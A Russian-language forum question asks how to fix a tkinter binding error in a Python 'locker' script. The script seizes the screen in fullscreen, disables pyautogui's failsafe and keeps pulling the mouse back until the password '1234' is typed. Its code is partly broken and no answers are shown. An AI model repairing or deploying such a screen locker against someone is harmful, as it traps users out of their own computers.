как исправить ошибку? может в коде ошибка понять не могу

Рейтинг: 0Ответов: 0Опубликовано: 06.02.2023

Код:

import pyautogui
from tkinter import Tk, Entry, Label
from pyautogui import click, move
from time import sleep


def callback(event):
    global k, entry
    if entry.get() == "1234":
        k = True


def on_closing():
    click(width / 2, height / 2)
    move(width / 2, height / 2)
    root.attributes("-fullscreen", True)
    root.protocol("WM_DELETE_WINDOW", on_closing)
    root.update()
    root.bind('', callback)

root = Tk()
pyautogui.FAILSAFE = False
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
root.title('From "hacker" with love')
root.attributes("-fullscreen", True)
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width / 2 - 75, y=height / 2 - 25)
label0 = Label(root, text="╚(•⌂•)╝ Locker by nikita (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
label1.place(x=width / 2 - 75 - 130, y=height / 2 - 25 - 100)
root.update()
sleep(0.2)
click(width / 2, `введите сюда код`height / 2)
k = False
while not k:
    on_closing()

Ошибка:

Traceback (most recent call last):
  File "C:\web\t.py", line 38, in <module>
    on_closing()
  File "C:\web\t.py", line 19, in on_closing
    root.bind('', callback)
  File "C:\Новая папка\Lib\tkinter_init_.py", line 1448, in bind
    return self._bind(('bind', self._w), sequence, func, add)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Новая папка\Lib\tkinter_init_.py", line 1402, in _bind
    self.tk.call(what + (sequence, cmd))
_tkinter.TclError: no events specified in binding

Ответы

Ответов пока нет.